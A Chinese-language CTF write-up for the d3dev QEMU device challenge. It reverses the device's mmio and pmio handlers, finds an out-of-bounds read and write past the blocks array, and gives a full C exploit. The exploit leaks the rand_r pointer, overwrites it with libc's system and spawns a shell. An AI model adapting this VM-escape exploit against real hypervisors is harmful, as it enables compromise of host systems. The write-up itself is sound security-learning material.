前言
题目给的是一个 docker 环境,所以起环境非常方便,但是该怎么调试呢?有无佬教教怎么在 docker 中调试?
我本来想着直接起一个环境进行调试,但是缺了好的库,所以就算了,毕竟本题也不用咋调试。
然后题目是带符号的,所以设备定位就不说了;然后这一题我存在一些疑问,后面在总结部分会讲,希望有佬可以解答。
设备逆向
题目注册了 mmio 和 pmio,先来看看实例结构体:
blocks 就是我们之后操作的 buf,然后再其后面有一个 rand_r 函数指针,所以老套路了,多半都是越界读写这个函数指针去控制程序执行流。
d3dev_pmio_read 函数
比较简单,就是去读取 d3devState 中的某些字段。
d3dev_pmio_write 函数
该函数有两个跟后面利用相关的功能,第一个是可以设置 seek 最大为 0x100;第二个是可以调用 rand_r(r_seed),并且 r_seed 是直接可控的;然后还可以设置 key 为 0,这个 key 是后面 tea 加密的密钥。
d3dev_mmio_read 函数
该函数就是去读取 blocks 中的数据,但是会进行 tea 加密,tea 加密很好解决,我们可以利用 d3dev_pmio_read 去直接把 key 读出来,也可以通过 d3dev_pmio_write 去把 key 直接设置为 0。
这里存在一个比较明显的漏洞,blocks 数组的大小为 257,虽然在 mmio 中会检查 addr 的范围。mmio 的大小是 0x800,而 blocks 为 qword 数组,刚好也是 0x800 字节,所以通过 addr 可以读取到 blocks 的末尾,但是我们可以去设置 seek,这样就可以越界读 0x800 字节了。
d3dev_mmio_write 函数
同理该函数存在越界写。
漏洞利用
很明显了,在上面说了在 blocks 后面存在 rand_r 函数指针,而该指针指向的是 libc 中的地址:
所以通过越界读可以去泄漏 libc 地址,从而计算出 system 地址。
然后通过越界写去修改 rand_r 函数指针指向 system。
然后触发 rand_r(r_seed) 即可造成任意命令执行(这里 r_seed 是可控的,可以看下上面的源码)
exp 如下:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/io.h>
#include <sys/mman.h>
void * mmio_base = 0;
void * pmio_base = 0xc040;
void mmio_init()
{
int fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR);
if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);
mmio_base = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
if (mlock(mmio_base, 0x1000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);
}
uint64_t mmio_read(uint64_t offset)
{
return *(uint64_t*)(mmio_base + (offset << 3));
}
void mmio_write(uint64_t offset, uint64_t val)
{
*(uint64_t*)(mmio_base + (offset << 3)) = val;
}
void pmio_init()
{
if (iopl(3) < 0) puts("[X] iopl for pmio"), exit(EXIT_FAILURE);
}
void pmio_write(uint64_t addr, uint64_t val)
{
outl(val, pmio_base+addr);
}
void enc(uint32_t data[2])
{
uint32_t delta = 0xC6EF3720;
do {
data[1] -= (data[0]+delta) ^ (data[0] >> 5) ^ (data[0] << 4);
data[0] -= (data[1]+delta) ^ (data[1] >> 5) ^ (data[1] << 4);
delta += 0x61C88647;
} while(delta);
}
void dec(uint32_t data[2])
{
uint32_t delta = 0;
do {
delta -= 0x61C88647;
data[0] += (data[1]+delta) ^ (data[1] >> 5) ^ (data[1] << 4);
data[1] += (data[0]+delta) ^ (data[0] >> 5) ^ (data[0] << 4);
} while(delta != 0xC6EF3720);
}
uint64_t arb_read(uint64_t offset)
{
uint64_t enc_addr = mmio_read(offset);
printf("[+] enc_addr: %#p\n", enc_addr);
dec(&enc_addr);
return enc_addr;
}
int main(int argc, char** argv, char** envp)
{
mmio_init();
pmio_init();
pmio_write(4, 0);
pmio_write(8, 0x100);
uint64_t rand_r_addr = arb_read(3);
printf("[+] rand_r addr: %#p\n", rand_r_addr);
uint64_t system_addr = rand_r_addr - 0x47D30 + 0x52290;
printf("[+] system addr: %#p\n", system_addr);
enc(&system_addr);
mmio_write(3, system_addr);
printf("[+] now rand_r: %p", arb_read(3));
pmio_write(28, 0x6873);
return 0;
}
效果如下:
总结与疑问
在 CTF 中,qemu 的题目还是多为数组越界,还没接触到堆的题目,比较菜啦。
然后就是这里 mmio_read 我很懵逼,这里 mmio_read 读取的字节数好像是由用户决定的:
因为这里 low_data 是 unsigned_int ,所以返回值最高4字节应该为0,但是你会发现这里可以直接返回一个完整的内容。
这里好像是当你读取 8 字节时,qemu 会自动读取两次,具体原因我也不是很清楚。